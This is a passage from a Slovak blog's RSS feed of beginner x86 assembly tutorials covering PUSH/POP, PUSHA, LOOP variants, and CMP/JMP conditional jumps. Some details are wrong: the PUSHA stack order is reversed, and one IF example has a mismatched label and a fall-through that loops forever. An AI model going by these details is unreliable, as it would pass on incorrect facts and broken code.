<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">EBX</span> <span style="color: #666666; font-style: italic;">; a sčítame s druhým parametrom v registri EBX, </span>
<span style="color: #666666; font-style: italic;">; výsledok bude v požadovanom registri ECX </span>
<span style="color: #00007f; font-weight: bold;">ret</span> <span style="color: #666666; font-style: italic;">; návrat z podprogramu.</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/06/assembler-instrukcie-call-a-ret/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Assembler &#8211; inštrukcie PUSH/POP a ich varianty</title>
		<link>http://www.bloog.sk/2009/09/06/assembler-instrukcie-push-a-pop/</link>
		<comments>http://www.bloog.sk/2009/09/06/assembler-instrukcie-push-a-pop/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 13:01:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Assembler x86]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=51</guid>
		<description><![CDATA[Syntax: PUSH ol Pomocou inštrukcie PUSH môžeme na zásobník uložiť ľubovoľný 16-bitový alebo 32-bitový register alebo obsah pamäťového miesta (nepoužíva sa príliš často). push eax; na zásobník uložíme register EAX Inštrukciu push môžeme rozpísať inštrukciami: sub esp, 4; zníž ESP o 4 mov &#91;ss: esp&#93;, eax; zapíš do zásobníka hodnotu registra EAX alebo všeobecnejšie (pomocou [...]]]></description>
			<content:encoded><![CDATA[<p><em>Syntax: PUSH ol </em></p>
<p>Pomocou inštrukcie PUSH môžeme na zásobník uložiť ľubovoľný 16-bitový alebo 32-bitový register alebo obsah pamäťového miesta (nepoužíva sa príliš často).</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; na zásobník uložíme register EAX</span></pre></div></div>

<p>Inštrukciu push môžeme rozpísať inštrukciami:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">sub</span> <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span><span style="color: #666666; font-style: italic;">; zníž ESP o 4 </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ss</span><span style="color: #339933;">:</span> <span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; zapíš do zásobníka hodnotu registra EAX</span></pre></div></div>

<p>alebo všeobecnejšie (pomocou operátora sizeof, požičaného z vyšších prog. jazykov):</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">push</span> ol</pre></div></div>

<p>môžeme zapísať ako </p>
<p><em>(E) SP = (E) SP-sizeof (ol)<br />
ol -> SS: [(E) SP]</em> </p>
<p>Inštrukcia POP presunie do operanda hodnotu (obsah) z vrcholu zásobníka a vrcholom zásobníka sa stane hodnota uložená na vyššej adrese. Inštrukcia POP môže mať rovnaký typ operandov ako inštrukcia PUSH.</p>
<p>Opäť možno inštrukciu POP prepísať pomocou inštrukcií MOV a ADD:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ss</span><span style="color: #339933;">:</span> <span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #666666; font-style: italic;">; načítaj z vrcholu zásobníka do registra EAX </span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span><span style="color: #666666; font-style: italic;">; &quot;smaž&quot; najvyššie dvojslovo zo zásobníka</span></pre></div></div>

<p>Uveďme si niekoľko príkladov.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; na zásobník ulož hodnotu uloženú v registri EAX </span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">esi</span><span style="color: #666666; font-style: italic;">; na zásobník ulož hodnotu registra ESI </span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; zo zásobníka vyber hodnotu a ulož ju v registri EAX </span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">esi</span><span style="color: #666666; font-style: italic;">; zo zásobníka vyber hodnotu a ulož ju v registri ESI</span></pre></div></div>

<p>Pripomeňme si, že na zásobník nie je možné pomocou inštrukcie PUSH uložiť 8-bitové registre a ani nemožno priamo uložiť obsah registra IP (EIP) (instruction pointer, ukazovateľ na ďalšiu inštrukciu). Inštrukcie PUSH / POP ip alebo PUSH / POP EIP neexistujú (možno ich ale nahradiť inak, viď ďalej).</p>
<h2>Instrukcie PUSHA/POPA a PUSHAD/POPAD</h2>
<p><em>Syntax:<br />
PUSHA<br />
POPA<br />
</em></p>
<p>Niekedy potrebujeme uložiť všetky univerzálne registre na zásobník. Na tento účel je mikroprocesor vybavený inštrukciami PUSH a POPA, ktoré na zásobník uloží (PUSHA) alebo zo zásobníka obnoví (POPA) hodnoty všetkých univerzálnych 16-bitových registrov. Inštrukcie PUSH a POPA nemajú žiadny voliteľný operand. </p>
<p>Inštrukcie PUSH / POPA boli zavedené v predchodcovi procesoru 80386, a preto neukladá 32-bitové registre (nemôže, pretože neexistovali). Ak ich cheme uložiť alebo vybrať, tak musíme použiť &#8220;nové&#8221; inštrukcie PUSHAD a POP AD.</p>
<p>Poradie ukladaných registrov na zásobníka od vrcholu nadol je:<br />
(E)AX, (E)CX, (E)DX, (E)BX, pôvodné (E)SP, (E)BP, (E)SI, (E)DI</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">pusha</span><span style="color: #666666; font-style: italic;">; uložíme na zásobník obsah všetkých univerzálnych registrov</span>
<span style="color: #666666; font-style: italic;">; urobíme veľké zmeny (napríklad komplikovaný výpočet,; ktorý zmení väčšinu hodnôt univerzálnych registrov) </span>
<span style="color: #00007f; font-weight: bold;">popa</span><span style="color: #666666; font-style: italic;">; zase všetky registre obnovíme</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/06/assembler-instrukcie-push-a-pop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Assembler &#8211; LOOP, LOOPZ, LOOPZN, LOOPNE</title>
		<link>http://www.bloog.sk/2009/09/06/assembler-cyklus/</link>
		<comments>http://www.bloog.sk/2009/09/06/assembler-cyklus/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 11:25:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Assembler x86]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=42</guid>
		<description><![CDATA[V Assembleri bude implementácia cyklu nasledovná. Zvolíme register ECX pre riadiacu premennú I. for_start: mov ecx, 0 ; naplníme register ECX nulou for_cyklus: ; na toto návestie sa budeme vracať ... ; tu budeme vykonávať príkazy v FOR-cykle inc ecx ; ECX zvýšime o 1 cmp ecx, 10 ; porovnáme ECX s 10 jnz for_cyklus [...]]]></description>
			<content:encoded><![CDATA[<p>V Assembleri bude implementácia cyklu nasledovná. Zvolíme register ECX pre riadiacu premennú I.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">for_start<span style="color: #339933;">:</span> 
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">; naplníme register ECX nulou </span>
for_cyklus<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; na toto návestie sa budeme vracať </span>
<span style="color: #339933;">...</span> <span style="color: #666666; font-style: italic;">; tu budeme vykonávať príkazy v FOR-cykle </span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; ECX zvýšime o 1 </span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">10</span> <span style="color: #666666; font-style: italic;">; porovnáme ECX s 10 </span>
<span style="color: #00007f; font-weight: bold;">jnz</span> for_cyklus <span style="color: #666666; font-style: italic;">; ak nie je 10, skočíme na for_cyklus </span>
for_skonci<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; ak už je 10, potom skončíme</span></pre></div></div>

<p>Ukážme si aj variant s premennou I umiestnenou v pamäti.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">for_start<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">mov</span>  <span style="color: #000000; font-weight: bold;">dword</span>   <span style="color: #009900; font-weight: bold;">&#91;</span>i<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span>
for_cyklus<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; na toto návestie sa budeme vracať </span>
<span style="color: #339933;">...</span> <span style="color: #666666; font-style: italic;">; tu budeme vykonávať príkazy vo FOR-cykle </span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #009900; font-weight: bold;">&#91;</span>i<span style="color: #009900; font-weight: bold;">&#93;</span> <span style="color: #666666; font-style: italic;">; ECX zvýšime o 1 </span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #009900; font-weight: bold;">&#91;</span>i<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">10</span> <span style="color: #666666; font-style: italic;">; srovnárne ECX s 10 </span>
<span style="color: #00007f; font-weight: bold;">jnz</span> for_cyklus <span style="color: #666666; font-style: italic;">; ak nie 10, skočíme na for_cyklus </span>
for_skonci<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; ak už je 10, tak skončíme</span></pre></div></div>

<h2>Inštrukcia LOOP</h2>
<p>Syntax: LOOP navestie_cyklu </p>
<p>Inštrukcia LOOP má dva operandy, podobne ako inštrukcia MUL. Prvý operand je pevne daný a je ním register CX (alebo ECX). Druhý, voliteľný operand je adresa návestia, kam sa bude odovzdávať konanie v prípade splnenej podmienky. Inštrukcia LOOP najskôr odpočíta jedničku od registra CX (ECX), a ak výsledok nie je nula, tak odovzdá riadenie programu na miesto určené svojim voliteľným operandom (cieľ skoku musí ležať v intervale + (alebo -) 128 bytov). </p>
<p>For-cyklus od 10 do 1 (vrátane) vytvorený inštrukciou LOOP by vyzeral takto:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">for_start<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">cx</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">10</span>  <span style="color: #666666; font-style: italic;">; naplníme register CX 10 </span>
for_cyklus<span style="color: #339933;">:</span>  <span style="color: #666666; font-style: italic;">; na toto návestie sa budeme vracať </span>
<span style="color: #339933;">...</span>              <span style="color: #666666; font-style: italic;">; tu budeme vykonávať príkazy v FOR-cykle </span>
<span style="color: #00007f; font-weight: bold;">loop</span> for_cyklus <span style="color: #666666; font-style: italic;">; ak CX nie je 0, skočíme na for_cyklus </span>
for_skonci<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; ak už je 0, potom skončíme</span></pre></div></div>

<h2>Inštrukcie LOOPZ a LOOPZN</h2>
<p>Syntax:<br />
LOOPZ navestie_cyklu<br />
LOOPNZ navestie_cyklu</p>
<p>Inštrukcia LOOPZ rozširuje podmienku uskutočnenia skoku. Skok na návestie uvedené v inštrukcii sa uskutoční práve vtedy, keď hodnota v registri CX (ECX) nie je rovná nule a zároveň je nastavený príznak ZF (zero flag) na 1. Synonymum inštrukcie je LOOPE. </p>
<p>Inštrukciou LOOPZ ľahko vytvoríme cyklus s dodatočnou podmienkou. Rozšírme podmienku jedného priechodu cyklu z predchádzajúceho príkladu o test registra BX na číslo 3. Cyklus sa vykoná najviac desaťkrát, ale za podmienky, že hodnota v registri BX = 3. Inak sa predčasne ukončí.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">for_start<span style="color: #339933;">:</span> 
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">cx</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">10</span>   <span style="color: #666666; font-style: italic;">; naplníme register ECX 10 </span>
for_cyklus<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; na toto návestie sa budeme vracať </span>
<span style="color: #339933;">...</span> <span style="color: #666666; font-style: italic;">; tu budeme vykonávať príkazy v FOR-cykle </span>
<span style="color: #339933;">...</span> <span style="color: #666666; font-style: italic;">; možná zmena registra BX </span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">bx</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">3</span> <span style="color: #666666; font-style: italic;">; je BX = 3?</span>
<span style="color: #00007f; font-weight: bold;">loopz</span> for_cyklus <span style="color: #666666; font-style: italic;">; ak CX neni 0 a BX = 3, skočíme na for_cyklus </span>
for_skonci<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; ak už je 0 alebo BX nie je 3, tak skončíme</span></pre></div></div>

<p>Inštrukcia LOOPNZ funguje analogicky, ale druhá podmienka je negovaná. Skok sa uskutoční, ak nie je register CX (ECX) rovný nule a zároveň nie je nastavený príznak ZF (zero flag je nula). Jej synonymum je LOOPNE.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/06/assembler-cyklus/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Assembler &#8211; IF/THEN ala CMP, JMP a JX</title>
		<link>http://www.bloog.sk/2009/09/06/assembler-ifthen-ala-cmp-a-jmp/</link>
		<comments>http://www.bloog.sk/2009/09/06/assembler-ifthen-ala-cmp-a-jmp/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 23:40:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Assembler x86]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=26</guid>
		<description><![CDATA[Inštrukcie CMP a TEST Porovnanie dvoch operandov vykonávajú inštrukcie CMP a TEST. Ako operandy môžeme použiť registre alebo operand uložený v pamäti v známych veľkostiach 8, 16 a 32 bitov. Názov inštrukcie CMP je odvodený z anglického slova compare (porovnaj). Inštrukcia je implementovaná podobne ako inštrukcia SUB. Operand o2 sa odpočíta od operanda ol. Výsledok [...]]]></description>
			<content:encoded><![CDATA[<h3>Inštrukcie CMP a TEST </h3>
<p>Porovnanie dvoch operandov vykonávajú inštrukcie CMP a TEST. Ako operandy môžeme použiť registre alebo operand uložený v pamäti v známych veľkostiach 8, 16 a 32 bitov.<br />
Názov inštrukcie CMP je odvodený z anglického slova compare (porovnaj). Inštrukcia je implementovaná podobne ako inštrukcia SUB. Operand o2 sa odpočíta od operanda ol. Výsledok sa nikam neuloží, zmenia sa len príznaky v registri príznakov. Inštrukciu CMP môžeme použiť na porovnanie celých čísel bez znamienka aj so znamienkom.<br />
Inštrukcia TEST pracuje podobne, miesto rozdielu operandov sa vykoná ich bitový súčin (AND). Výsledkom sú novo nastavené príznaky v registri príznakov. Inštrukciu TEST používame pre testovanie hodnôt jednotlivých bitov v bitovom poli.</p>
<p>Ukážme si niekoľko príkladov:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">ax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span>       <span style="color: #666666; font-style: italic;">; porovná register AX s hodnotou 4</span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">dl</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ah</span>             <span style="color: #666666; font-style: italic;">; porovná register DL s registrom AH</span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #009900; font-weight: bold;">&#91;</span>prumerl<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ax</span>   <span style="color: #666666; font-style: italic;">; porovná obsah &quot;premennej&quot; prumer s registrom AX</span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">ax</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>prumerl<span style="color: #009900; font-weight: bold;">&#93;</span>   <span style="color: #666666; font-style: italic;">; porovná register AX s obsahom &quot;premennej&quot; prumer</span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ecx</span>         <span style="color: #666666; font-style: italic;">; porovná registre EAX a ECX</span>
<span style="color: #00007f; font-weight: bold;">test</span> <span style="color: #00007f;">ax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">00000100b</span> <span style="color: #666666; font-style: italic;">; testujeme bit 2 (tretia) bit, ak je nastavený</span></pre></div></div>

<h3>Inštrukcie nepodmieného skoku JMP</h3>
<p>Prvým spôsobom, ako zmeniť sekvenčné vykonávanie inštrukcií v programe, je použitie inštrukcie nepodmienečného skoku. Inštrukcia prinúti procesor spracovávať inštrukcie z iného miesta v pamäti (prepíše hodnoty ukazovateľa na ďalšiu inštrukciu, register IP alebo i CS).</p>
<p><em>Syntax:       JMP typ_skoku operand</em></p>
<p>Nepodmienený skok známy z vyšších programovacích jazykov pod názvom GOTO v Assembleru predstavuje inštrukcia JMP. Názov vznikol z anglického slova jump (skoč). Inštrukcia vyžaduje jediný priamy operand, ktorým je adresa miesta v pamäti, kam sa má skočiť (ako operand možno použiť aj univerzálny register naplnený adresou skoku, čo by som začiatočníkom neodporúčal). V Assembleri sú rovnako ako vo vyšších programovacích jazykoch adresy skokov reprezentované návestiami (label).<br />
Podľa &#8220;vzdialenosti&#8221; skoku v programe rozlišujeme tri druhy skokov: short, near a far. (Krátky, blízky a vzdialený).<br />
Maximálna &#8220;dĺžka&#8221; skoku (maximálny absolútny rozdiel adries, ktorý možeme skokom zmeniť) typu short je obmedzená. V druhom byte inštrukcie je uložená len 8-bitová hodnota sa znamienkom, preto adresa cieľa skoku smie ležať iba v rozmedzí -128 až 127 byte. Skok sa vykoná tak, že sa 8-bitová hodnota znamienkovo rozšíri a pripočíta sa k súčasnej hodnote registra (E)IP.<br />
Inštrukcia skoku typu near už obsahuje vo svojej strojovej reprezentácii novú hodnotu registra (E)IP, dĺžka skoku je obmedzená iba módom procesora. V reálnom režime procesora meníme inštrukciou jmp near register IP, preto sa smieme pohybovať len v rozmedzí jedného segmentu (64 KB), v chránenom režime používame register EIP a tak cieľ skoku môže ležať kdekoľvek v 4 GB adresového priestoru.<br />
Skok far mení aj hodnotu segmentového registra CS, ktorý sa podieľa na výpočte adresy inštrukcie v pamäti. Súčasťou adresy skoku musí byť aj nová hodnota pre register CS.<br />
Ak nie je typ skoku uvedený, predpokladá sa typ near.<br />
Teraz trochu vo výklade &#8220;preskočíme&#8221; a povieme si, ako vyzerá návestie v Assembleri. Ide v podstate o identifikátor zakončený dvojbodkou, ktorému bola pri preklade pridelená adresa podľa miesta výskytu v programe. Ukážme si časť programu, kde je použité návestie:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">4</span>       <span style="color: #666666; font-style: italic;">; do AX vlož hodnotu 4 </span>
novy_cyklus<span style="color: #339933;">:</span>   <span style="color: #666666; font-style: italic;">; návestie novy_cyklus </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ax</span>      <span style="color: #666666; font-style: italic;">; do BX okopírujte AX</span></pre></div></div>

<p>Ak chceme vykonať nepodmienený skok na návestie novy_cyklus, napíšeme inštrukciu:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">jmp</span> novy_cyklus<span style="color: #666666; font-style: italic;">; skok na novy_cyklus</span></pre></div></div>

<p>Po jej prevedení sa program začne vykonávať od návestia novy_cyklus.<br />
Nič nám nebráni najprv vykonať skok a neskôr v programe uviesť návestie. Prekladač pracuje &#8220;na viacerých priechodoch&#8221;, a preto aj také skoky dopredu vie spracovať. Časť programu používajúca dopredné skoky by mohla vyzerať nasledovne:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">jmp</span> start<span style="color: #666666; font-style: italic;">; skok na štart </span>
ciel<span style="color: #339933;">:</span>        <span style="color: #666666; font-style: italic;">; návestie ciel </span>
<span style="color: #339933;">...</span>
<span style="color: #339933;">...</span>         <span style="color: #666666; font-style: italic;">; ďalšie inštrukcie </span>
start<span style="color: #339933;">:</span>    <span style="color: #666666; font-style: italic;">; návestie štart </span>
<span style="color: #00007f; font-weight: bold;">jmp</span> ciel   <span style="color: #666666; font-style: italic;">; skok na ciel</span></pre></div></div>

<p>Vráťme sa ešte krátko k typom skokov, ktoré budeme síce ako začiatočníci využívať veľmi zriedka. Skok typu short použijeme všade tam, kde návestie &#8220;leží&#8221; do 128 B. Tak ušetríme 1B programového kódu, pretože preložená inštrukcia jmp short zaberá len dva byte (inštrukcia JMP alebo JMP near 3 alebo 5 byte). Možno vás desí predstava, ako odhadnúť vzdialenosť návestí v nepreloženom programe. Nemusíte sa báť, jednoducho to vyskúšajte, prekladač v prípade neúspechu zahlási chybu.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">blizke_navestie<span style="color: #339933;">:</span>              <span style="color: #666666; font-style: italic;">; návestie blizke_navestie </span>
<span style="color: #339933;">....</span>                              <span style="color: #666666; font-style: italic;">; Nejaké dalšie inštrukcie </span>
<span style="color: #00007f; font-weight: bold;">jmp</span> <span style="color: #000000; font-weight: bold;">short</span> blizke_navestie  <span style="color: #666666; font-style: italic;">; urobíme skok na blizke_navestie</span></pre></div></div>

<h3>Inštrukcie podmienených skokov Jx</h3>
<p><em>Syntax: Jx návestie_ciela_skoku </em></p>
<p>Ďalším spôsobom, ako zmeniť sekvenčné vykonávanie inštrukcií v programe, je použitie inštrukcie podmieneného skoku.<br />
Inšturkcií podmieneného skoku existuje celá rada. Navzájom sa odlišujú rozhodovaciu podmienkou, ktorá riadi vykonanie skoku. V závislosti od vyhodnotenia podmienky sa vykonávanie programu buď presunie na iné miesto, alebo program pokračuje na nasledujúcu adresu za inštrukciou skoku. Rozhodovaciou podmienkou sú stavy príznakov (niekoľkých alebo len jedného) príznakového registra procesora.<br />
Ukážme si najpoužívanejšie inštrukcie, ktoré skočia na návestie splnené, ak bude podmienka splnená.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">jz</span> splnene   <span style="color: #666666; font-style: italic;">; skočí, ak je príznak ZF (zero flag, príznak nuly) nastavený na 1 </span>
<span style="color: #00007f; font-weight: bold;">jc</span> splnene  <span style="color: #666666; font-style: italic;">; skočí, ak je príznak CF (carry flag, príznak prenosu) nastavený na 1 </span>
<span style="color: #00007f; font-weight: bold;">js</span> splnene  <span style="color: #666666; font-style: italic;">; skočí, ak je nastavený príznak znamienka SF (signum flag) </span>
<span style="color: #00007f; font-weight: bold;">jo</span> splnene  <span style="color: #666666; font-style: italic;">; skočí, ak je nastavený príznak pretečenia</span></pre></div></div>

<p>Všetky podmienky môžeme obrátiť (negovať).</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">jnz</span> splnene<span style="color: #666666; font-style: italic;">; skočí, ak nie je príznak ZF (zero flag, príznak nuly) nastavený (je nula)</span></pre></div></div>

<p>Podobne aj ostatné JNC, JNS a JNO. </p>
<p>Teraz môžeme s našimi znalosťami príslušných inštrukcií Assembleru podmienku IF naprogramovať. Ukážme si jednoduchý príklad, v ktorom budeme chcieť odovzdať riadenie programu (skočiť) na návestie je_tri, ak je hodnota v registri AX rovná trom.<br />
V prvom kroku porovnáme hodnotu v registri AX s číslom 3, čo urobíme inštrukciou CMP.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">ax</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">3</span><span style="color: #666666; font-style: italic;">; register AX porovnaj s hodnotou 3</span></pre></div></div>

<p>Pri porovnaní na rovnosť použijeme inštrukciu JZ.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">jz</span> je_tri<span style="color: #666666; font-style: italic;">; skočí na návestie je_tri, ak bude hodnota AX = 3</span></pre></div></div>

<p>Všimnime si, že pri porovnávaní rovnosti čísiel nezáleží na tom, či práve číslo chápeme ako číslo so znamienkom alebo bez.<br />
Inštrukcia JZ vykoná skok na návestie je_tri, ak bude hodnota v registri AX rovná trom, inak bude program pokračovať inštrukciou nasledujúcou po JZ. </p>
<p>V ďalšom príklade budeme chcieť porovnať bez znamienka hodnoty v registri CL a AI .. Do registra BL zapísať jedničku, keď sú si hodnoty rovnaké, dvojku, ak je AL väčší ako CL, a trojku, ak je v registri AL menšie ako v CL </p>
<p>Porovnáme registre AL a CL, výsledok porovnania sa uloží do príznakového registra procesora a použitím rôznych inštrukcií skoku zabezpečíme výber správnej alternatívy a tým aj riešenie problému.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #00007f;">cl</span>  <span style="color: #666666; font-style: italic;">; porovnaj hodnoty uložené v AL a CL </span>
<span style="color: #00007f; font-weight: bold;">jz</span> zapis_l   <span style="color: #666666; font-style: italic;">; skoč na návestie zapis_l, ak AL = CL </span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #00007f;">cl</span>  <span style="color: #666666; font-style: italic;">; porovnaj hodnoty uložené v AL a CL </span>
<span style="color: #00007f; font-weight: bold;">ja</span> zapis_2 <span style="color: #666666; font-style: italic;">; skoč na návestie zapis_2, ak AL&gt; CL </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">3</span>  <span style="color: #666666; font-style: italic;">; do BL zapíš 3 </span>
koniec_if<span style="color: #339933;">:</span>  <span style="color: #666666; font-style: italic;">; tu je koniec nášho programu </span>
zapis_1<span style="color: #339933;">:</span>    <span style="color: #666666; font-style: italic;">; návestie zapis_1 </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span>   <span style="color: #666666; font-style: italic;">; do BL zapíš 1 </span>
<span style="color: #00007f; font-weight: bold;">jmp</span> koniec_if<span style="color: #666666; font-style: italic;">; skok na koniec nášho programu </span>
zapis_2<span style="color: #339933;">:</span>    <span style="color: #666666; font-style: italic;">; návestie zapis_2 </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">2</span>   <span style="color: #666666; font-style: italic;">; do BL zapíš 2 </span>
<span style="color: #00007f; font-weight: bold;">jmp</span> koniec_if<span style="color: #666666; font-style: italic;">; skok na koniec nášho programu</span></pre></div></div>

<p>Museli sme dokonca použiť nepodmienený skok, aby sme vrátili riadenie programu na pôvodné miesto. Riešenie možno ešte výrazne vylepšiť:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">1</span>     <span style="color: #666666; font-style: italic;">; do BL zapíš 1 </span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #00007f;">cl</span>    <span style="color: #666666; font-style: italic;">; porovnaj AL a CL </span>
<span style="color: #00007f; font-weight: bold;">je</span> koniec_if  <span style="color: #666666; font-style: italic;">; skoč na koniec programu, ak AL = CL </span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">2</span>    <span style="color: #666666; font-style: italic;">; do BL zapíš 2 </span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #00007f;">cl</span>   <span style="color: #666666; font-style: italic;">; porovnaj AL a CL </span>
